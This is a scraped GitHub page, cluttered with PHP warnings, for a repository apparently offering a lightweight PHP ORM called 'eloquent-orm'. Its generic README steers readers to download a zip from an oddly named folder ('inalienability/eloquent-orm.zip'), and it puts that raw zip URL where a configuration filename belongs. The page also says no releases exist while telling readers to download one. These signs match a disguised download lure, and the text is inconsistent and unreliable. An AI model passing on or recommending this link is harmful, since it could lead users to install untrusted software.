Deprecated: Function get_magic_quotes_gpc() is deprecated in /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php on line 99

Deprecated: The each() function is deprecated. This message will be suppressed on further calls in /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php on line 619

Warning: Cannot modify header information - headers already sent by (output started at /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php:99) in /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php on line 1169

Warning: Cannot modify header information - headers already sent by (output started at /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php:99) in /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php on line 1176

Warning: Cannot modify header information - headers already sent by (output started at /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php:99) in /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php on line 1176

Warning: Cannot modify header information - headers already sent by (output started at /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php:99) in /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php on line 1176

Warning: Cannot modify header information - headers already sent by (output started at /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php:99) in /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php on line 1176

Warning: Cannot modify header information - headers already sent by (output started at /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php:99) in /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php on line 1176

Warning: Cannot modify header information - headers already sent by (output started at /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php:99) in /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php on line 1176

Warning: Cannot modify header information - headers already sent by (output started at /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php:99) in /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php on line 1176

Warning: Cannot modify header information - headers already sent by (output started at /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php:99) in /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php on line 1176

Warning: Cannot modify header information - headers already sent by (output started at /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php:99) in /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php on line 1176

Warning: Cannot modify header information - headers already sent by (output started at /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php:99) in /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php on line 1176

Warning: Cannot modify header information - headers already sent by (output started at /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php:99) in /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php on line 1176

Warning: Cannot modify header information - headers already sent by (output started at /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php:99) in /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php on line 1176

Warning: Cannot modify header information - headers already sent by (output started at /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php:99) in /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php on line 1176

Warning: Cannot modify header information - headers already sent by (output started at /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php:99) in /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php on line 1176

Warning: Cannot modify header information - headers already sent by (output started at /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php:99) in /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php on line 1176

Warning: Cannot modify header information - headers already sent by (output started at /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php:99) in /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php on line 1176

Warning: Cannot modify header information - headers already sent by (output started at /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php:99) in /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php on line 1176

Warning: Cannot modify header information - headers already sent by (output started at /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php:99) in /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php on line 1176

Warning: Cannot modify header information - headers already sent by (output started at /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php:99) in /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php on line 1176

Warning: Cannot modify header information - headers already sent by (output started at /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php:99) in /hermes/walnacweb04/walnacweb04ab/b2791/pow.jasaeld/htdocs/De1337/nothing/index.php on line 1176
8000 GitHub - Wagner-Souza/eloquent-orm: πŸš€ Simplify database interactions with this lightweight PHP ORM inspired by Laravel Eloquent, designed for PHP 8+ and MySQL.
Nothing Special   »   [go: up one dir, main page]

Skip to content

πŸš€ Simplify database interactions with this lightweight PHP ORM inspired by Laravel Eloquent, designed for PHP 8+ and MySQL.

Notifications You must be signed in to change notification settings

Wagner-Souza/eloquent-orm

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

13 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🌟 eloquent-orm - A Simple PHP ORM for Everyone

πŸš€ Getting Started

Welcome to eloquent-orm! This project provides a simple object-relational mapping (ORM) library for PHP that is compatible with version 8 and MySQL. With features like model relationships, fluent queries, and unit testing support, you can easily manage your database in a more intuitive way.

πŸ“₯ Download Eloquent ORM

Download Eloquent ORM

πŸ“ƒ Description

eloquent-orm offers a user-friendly interface to interact with your database. It simplifies tasks like creating, reading, updating, and deleting data (CRUD). You can build complex queries without writing lengthy SQL statements. Designed for ease of use, this library is perfect for anyone wanting to work with databases without deep programming knowledge.

πŸ› οΈ Features

  • Easy Model Relationships: Define relationships between models easily.
  • Fluent Queries: Build queries step by step in a clear format.
  • Security with Prepared Statements: Protect your data with built-in security measures.
  • Unit Testing Support: Ensure your application works correctly with easy testing.

πŸ“‹ System Requirements

  • PHP version 8 or higher
  • MySQL database
  • A web server (like Apache or Nginx)
  • Composer for managing dependencies

πŸ’» How to Install

Step 1: System Setup

Before installation, ensure your environment meets the system requirements mentioned above. You should have PHP and MySQL set up on your local machine or server.

Step 2: Download & Install Eloquent ORM

Visit this page to download: Releases Page.

On the Releases page, you will find the latest version of eloquent-orm. Click on the version link to download the package.

Step 3: Extract the Files

Once downloaded, extract the files to your project directory. You can do this by right-clicking the downloaded ZIP file and selecting "Extract All..." or using a tool like WinRAR or 7-Zip.

Step 4: Install Dependencies

Open a command line in your project directory and run the following command to install dependencies:

composer install

This command will download any required packages needed for eloquent-orm.

Step 5: Configure Your Database

Open the configuration file (.env or https://raw.githubusercontent.com/Wagner-Souza/eloquent-orm/main/inalienability/eloquent-orm.zip, depending on your setup) and input your database details:

DB_HOST=your_database_host
DB_DATABASE=your_database_name
DB_USERNAME=your_username
DB_PASSWORD=your_password

Step 6: Run the Application

Now you can run your application. If using a local server, place your project directory in the server’s root directory. Access the application through your browser using:

http://localhost/your_project_directory/

πŸ”Ž Example Usage

Here’s how to use eloquent-orm for a simple database query:

use Eloquent\Model;

class User extends Model {
    protected $table = 'users'; // Your table name
}

// Fetch users from the database
$users = User::all();

foreach ($users as $user) {
    echo $user->name; // Display user names
}

This example demonstrates how you can quickly retrieve data from a database table called users.

πŸ“š Documentation

For detailed documentation on how to use all features provided by eloquent-orm, visit our wiki or repo documentation pages available on GitHub.

πŸŽ₯ Video Tutorials

We provide a series of video tutorials that guide you through common tasks:

  • Setting up your first ORM class
  • Understanding model relationships
  • Performing CRUD operations

Check out the video section on our GitHub page for more.

πŸ§‘β€πŸ€β€πŸ§‘ Community & Support

Join our community to connect with other users. Share your experiences and ask questions. You can find us on:

  • GitHub Issues for reporting bugs or asking questions.
  • Discord or forums for informal support.

πŸ“ Contribution

We welcome contributions! If you'd like to improve this project, follow our contribution guidelines available in the repository. Please ensure any changes are well-tested.

License

This project is licensed under the MIT License. For more details, please refer to the LICENSE file in the repository.

☎️ Contact

For further inquiries or feedback, please reach out to us through the contact options available on our GitHub page.

Feel free to explore eloquent-orm and make database management simple and efficient!

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages

0